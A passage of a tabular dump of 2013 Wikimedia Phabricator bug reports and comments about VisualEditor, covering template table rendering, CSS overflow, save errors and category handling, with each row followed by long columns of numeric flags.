+https://pt.wikipedia.org/wiki/Special:Contribs/Helder.wiki?dir=prev&offset=20130805170824&limit=11&uselang=en",,,1375725903,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1
+244932,"VisualEditor shows rowspan=""4"" on template generated tables","I left a message in the talk page of one of the articles which uses the template:
+https://pt.wikipedia.org/wiki/Discuss%C3%A3o:Primeira_Liga_de_2013%E2%80%9314
+and in the thread where its author announced the new template:
+https://pt.wikipedia.org/wiki/WP:EA#Novas_predefini.C3.A7.C3.B5es_para_tabelas_de_futebol",,,1375204451,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+244929,"VisualEditor shows rowspan=""4"" on template generated tables","I am not editing the template -- someone on pt wikipedia (matmarex) should verify that existing pages wont break with the change and do it.  But, offhand it does seem safe to fix.",,,1375202187,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,True,,,4,,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+244921,"VisualEditor shows rowspan=""4"" on template generated tables","Buggy template: http://pt.wikipedia.org/w/index.php?title=Predefini%C3%A7%C3%A3o:Tabfootrow&action=edit
+
+It should be ""|rowspan=..."" instead of ""||rowspan=...""
+
+echo ""{|\n|foo{{User:Ssastry/Templates/tabfootrow|rows=2|content=foobar}}\n|}"" | node parse
+
+works properly with the correct wikitext.",,,1375202101,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+244915,"VisualEditor shows rowspan=""4"" on template generated tables",Parsoid bug: http://parsoid.wmflabs.org/pt/La_Liga_de_2006%E2%80%9307?oldid=36362539 (you'll have to scroll down quite a bit),,,1375147278,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4itryfnmayohwwozkuws,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+53805,VisualEditor: It's possible to edit pages that were translated using the Translate extension,"The page https://www.mediawiki.org/wiki/Help:VisualEditor/User_guide/he was created by the Translate extension. It's impossible to translate it using the source editor and trying to do this gives the user a link to the translation interface. But it seems to be possible to edit it using the VisualEditor. I didn't actually try to change anything, because I was afraid of breaking something badly.
+
+I'm also not completely sure whether it's a VE or a Translate issue; I file it under VE because there are other issues in which VE behaves differently from the regular edit action, such as Bug 51459. But it may also be on the Translate side; CCing Niklas and Siebrand.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1374495000,1374854170.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-calntit5bgsnncojx237,task_description,resolved,True,c1,3,False,False,True,3,,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+244865,VisualEditor: It's possible to edit pages that were translated using the Translate extension,"It's never actually been able to bypass the Translate extension's system-level protection of the page - but the problem is you shouldn't be able to trigger VE on the page in the first place, which is bug 50284.
+
+*** This bug has been marked as a duplicate of bug 50284 ***",,,1374854170,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-calntit5bgsnncojx237,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+244857,VisualEditor: It's possible to edit pages that were translated using the Translate extension,"Urged by Niklas, I tried to save and got: ""Unsuccessful request: Unknown error: ""tpt-target-page"".""
+
+So at least it doesn't ruin anything, but it should be more intuitive.",,,1374853627,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-calntit5bgsnncojx237,task_subcomment,,True,c1,3,False,,,3,,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,1,0
+53793,VE: Page settings: Languages list cut off,"Screenshot of VisualEditor in Mozilla Firefox with Firebug enabled (which creates the blue overlay that indicates the contained element is bigger than shown and shows its size in the ""Schnellinfo""-Box
+
+Original Bug title: VE: Page settings: Languages list cut off
+
+In the page settings dialog, the languages list is not completely visible. This is due to the higher CSS selector precedence of 
+.ve-ui-pagedDialog-pagesPanel .ve-ui-panelLayout (setting overflow:hidden) 
+over 
+.ve-ui-panelLayout-scrollable (setting overflow-y:auto)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11501}",Needs Triage,90.0,1374481140,1374489509.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-kuzyc5hs4c2r4b2fex4f,task_description,resolved,True,c1,3,False,False,True,3,,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0
+244064,VE: Page settings: Languages list cut off,"Change 75083 abandoned by Rillke:
+Adding important to overflow:auto on scrollable elements
+
+Reason:
+Fixed by If2d5ec3168a874eb4f856450583d6c89967513df
+
+https://gerrit.wikimedia.org/r/75083",,,1374513446,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kuzyc5hs4c2r4b2fex4f,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+244059,VE: Page settings: Languages list cut off,"I'm pretty sure it's the same issue as on bug 51739.
+
+*** This bug has been marked as a duplicate of bug 51739 ***",,,1374489509,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kuzyc5hs4c2r4b2fex4f,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+244055,VE: Page settings: Languages list cut off,"Change 75083 had a related patch set uploaded by Rillke:
+Adding important to overflow:auto on scrollable elements
+
+https://gerrit.wikimedia.org/r/75083",,,1374487397,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kuzyc5hs4c2r4b2fex4f,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+53791,TemplateData for redirected templates,"Many templates are redirects from a short name to a long name. An example is
+http://en.wikipedia.org/wiki/Template:Commons_cat which is a redirect to
+http://en.wikipedia.org/wiki/Template:Commons_category and has 68742 pages transcluding it. Even though Commons_category has template data specified, and http://en.wikipedia.org/wiki/Template:Commons_cat/doc redirects to http://en.wikipedia.org/wiki/Template:Commons_category the visual editor does not pick up the correct parameters in the template dialog box. 
+
+There should be a way of making the dialog work for redirecting templates without having to duplicate the documentation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374470760,1374641783.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-ayjpiyllgpwjsso4fzvt,task_description,resolved,True,c1,3,False,False,True,3,,1,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+243977,TemplateData for redirected templates,"
+
+*** This bug has been marked as a duplicate of bug 50964 ***",,,1374641783,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ayjpiyllgpwjsso4fzvt,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+243973,TemplateData for redirected templates,Discussed at http://en.wikipedia.org/wiki/Wikipedia_talk:VisualEditor/TemplateData#What_about_redirected_templates,,,1374471289,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-ayjpiyllgpwjsso4fzvt,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+53771,VisualEditor: Search box and button intermittently appearing atop transclusion editor in Monobook skin,"Reported on English Wikipedia by User:Cryptic C62:
+
+""Upon opening the transclusion editor, or upon moving a component up/down using the arrows in the bottom left, the Wikipedia search box and accompanying buttons occasionally appear in front of the transclusion editor. The behavior does not occur consistently.
+
+Occurs in Firefox v21.0, cannot replicate in Chrome v28.0""
+
+See image:
+http://en.wikipedia.org/wiki/File:VE_Searchbox_Passthrough.jpg
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374415800,1385392734.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-m2dyfyycv5j7jnwg3sup,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+242861,VisualEditor: Search box and button intermittently appearing atop transclusion editor in Monobook skin,"This was caused by some issues with how the dialogs interacted with the Monobook skin, which have been subsequently fixed. Sorry for the slow triage.",,,1385392734,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-m2dyfyycv5j7jnwg3sup,task_subcomment,,True,c1,3,True,,,21,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+53759,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'info' of undefined"" (when saving the page)","After clicking the ""Save page"" button in the ""Save your changes"" dialog, the spinner (progress bar) appears for a few seconds, then vanishes again. The ""Save your changes"" dialog remains open and the edit is not saved. 
+
+Here is the output of the JavaScript Console in Chromium:
+
+Uncaught TypeError: Cannot read property 'info' of undefined load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:83
+
+ve.init.mw.ViewPageTarget.onSaveError load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:83
+
+oo.EventEmitter.emit load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…xt%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:124
+
+ve.init.mw.Target.onSaveError load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:16
+
+ve.init.mw.Target.onSave load.php?debug=false&lang=en&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ext%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130719T023752Z&*:16
+
+proxy load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:10
+
+fire load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:12
+
+self.fireWith load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:14
+
+done load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:119
+
+callback load.php?debug=false&lang=en&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130719T023752Z:129
+
+
+The error is reproducible (with this exact console output) even when I make further edits to the article content or change the edit summary and then go back to the ""Save your changes"" dialog: I can't save seem to save my edit at all. Haven't yet seen this occur in other articles, though (this was an enwiki article).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374349320,1395355910.0,PHID-USER-wlku5ja6envbi4cz2etp,False,,False,PHID-TASK-ydxhivupzag4qu4llhwx,task_description,declined,True,c1,3,False,False,False,2,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+242084,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'info' of undefined"" (when saving the page)","No reproduction steps; likely caused by an old issue in alien content blocks, fixed ages ago.",,,1395355910,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ydxhivupzag4qu4llhwx,task_subcomment,,True,c1,3,True,,,37,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+242082,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'info' of undefined"" (when saving the page)",Which article did this occur on?,,,1374367709,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ydxhivupzag4qu4llhwx,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+53756,VisualEditor: Make it clearer that the clear formatting button does something (clears pre-annotations) if any are set,"In the visual editor, the button to remove formatting activates if the cursor is placed on a formatted (bold or italic) character. However clicking the button has no effect unless text is selected.
+
+Either the button should be disabled when no text is selected, or clicking it when no text is selected should have an effect (probably remove formatting from the current word).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374343560,1395356968.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-gkasmmcbpikhl6gq6kg5,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+241932,VisualEditor: Make it clearer that the clear formatting button does something (clears pre-annotations) if any are set,This was fixed by only showing it as enabled when there's a pre-annnotation stack.,,,1395356968,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gkasmmcbpikhl6gq6kg5,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+241928,VisualEditor: Make it clearer that the clear formatting button does something (clears pre-annotations) if any are set,"Although the interface doesn't clearly indicate this, when the cursor is inside bold text, the toolbar shows ""Bold"" active. When you then click ""Clear formatting"", nothing inside the document will change (since no text is selected) however it does affect text entered from this point on.
+
+Basically when your cursor is inside or against bold text, you'd expect text entered after it will also be bold. Clearing formatting at that point means it will unbold your cursor (if you know what I mean).",,,1386820754,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-gkasmmcbpikhl6gq6kg5,task_subcomment,,True,c1,3,True,,,23,,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+53752,VisualEditor: In a page with many categories only the first categories are visible in the editor,"The English [[Barack Obama]] article has dozens of categories. When editing the categories using Page settings, only the first few of them are visible and editable, and it's impossible to get to the rest of them, because there is not scrollbar.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374334080,1385391924.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-z7k6ld4qvfzn2ify7im6,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1
+241746,VisualEditor: In a page with many categories only the first categories are visible in the editor,This was fixed in August; sorry for the slow triage.,,,1385391924,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z7k6ld4qvfzn2ify7im6,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+53732,VisualEditor: Removal of blank lines when there are HTML comments seems not to work,"As reported on the Swedish feedback page:
+http://sv.wikipedia.org/w/index.php?title=Wikipedia%3AVisualEditor%2F%C3%85terkoppling&diff=22695791&oldid=22693792
+
+When there are blank lines before and after HTML comments, it seems like it is not possible to remove all of them. 
+
+Ideally it should pe bossible to edit this version:
+
+http://sv.wikipedia.org/w/index.php?title=Abrostola_major&oldid=21896423
+
+in a way that it gets like this:
+
+http://sv.wikipedia.org/w/index.php?title=Abrostola_major&diff=22695707&oldid=21896423
+
+But in VE editing mode it is not possible to format it like that without accidentaly deleting templates on the page. Is it perhaps because of the HTML comments?
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1374306840,1390416862.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-ltt3irfuuufns7tetoc3,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0
+240488,VisualEditor: Removal of blank lines when there are HTML comments seems not to work,"Yes, this is caused by the lack of ability to edit HTML comments making it impossible for users to understand what they're doing; though there are slightly distinct issues here, I'm going to merge it with that feature request.
+
+*** This bug has been marked as a duplicate of bug 49603 ***",,,1390416862,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltt3irfuuufns7tetoc3,task_subcomment,,True,c1,3,True,,,29,,0,0,0,1,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+53726,Incorrect URL used for magic RFC links,"js/lib/pegTokenizer.pegjs.txt currently contains the following:
+
+    var base_urls = {
+            'RFC'  : '//tools.ietfs.org/html/rfc%s',
+            'PMID' : '//www.ncbi.nlm.nih.gov/pubmed/%s?dopt=Abstract'
+        }
+
+base_urls['RFC'] is wrong; the hostname should be tools.ietf.org .
+
+I spotted this when looking at Firebug's HTML tab while VisualEditor was
+open on https://en.wikipedia.org/wiki/MD4#Security .
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1374285720,1374508114.0,PHID-USER-3ampiwske4lc434cm6ot,False,,False,PHID-TASK-ebhdb6qns6ottyytmzfa,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+240170,Incorrect URL used for magic RFC links,"Change 75118 merged by jenkins-bot:
+(Bug 51726) Fixed typo in url base for RFCs
+
+https://gerrit.wikimedia.org/r/75118",,,1374507519,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ebhdb6qns6ottyytmzfa,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+240168,Incorrect URL used for magic RFC links,"Change 75118 had a related patch set uploaded by Subramanya Sastry:
+(Bug 51726) Fixed typo in url base for RFCs
+
+https://gerrit.wikimedia.org/r/75118",,,1374506856,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ebhdb6qns6ottyytmzfa,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53714,VisualEditor: add new categories after old categories,"At the moment, categories are pushed right to the bottom of the page. This is mostly useful, but not always; it causes policy issues if there are stub templates around. While this is not something we can or will support, the fact remains that we're essentially imposing a structure on wikis by saying ""categories will always go at the bottom"".
+
+What would be a nice way around this problem, at least with existing articles, is to have newly-added categories stuck immediately after existing categories - wherever they are in the page. We get some degree of consistency within articles that would otherwise be lacking.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1374267420,1377833797.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-s4chuo432xmbozeyirll,task_description,resolved,True,c1,3,False,False,True,2,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,1,0
+239615,VisualEditor: add new categories after old categories,"This is a duplicate of the (heretofore-confusingly-named) bug 50882.
+
+*** This bug has been marked as a duplicate of bug 50882 ***",,,1377833797,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s4chuo432xmbozeyirll,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53674,VisualEditor: Rearranging transclusions breaks the ability to select parameters.,"If you add multiple templates in one transclusion it is possible to rearrange them. Once rearranged, once cannot select the parameters from the first template anymore.
+
+Steps to reproduce:
+- Open any random page in the visual Editor.
+- Open the ""Transclusion"" window. Select the ""Cite web"" template and click the ""Add template"" button. It should be added with two default parameters.
+- Click the + icon in the bottom left of the Transclusion dialog, and click the button to add another template.
+- Add another ""Cite web"" template as described in step 2. Again it should come with two default parameters.
+
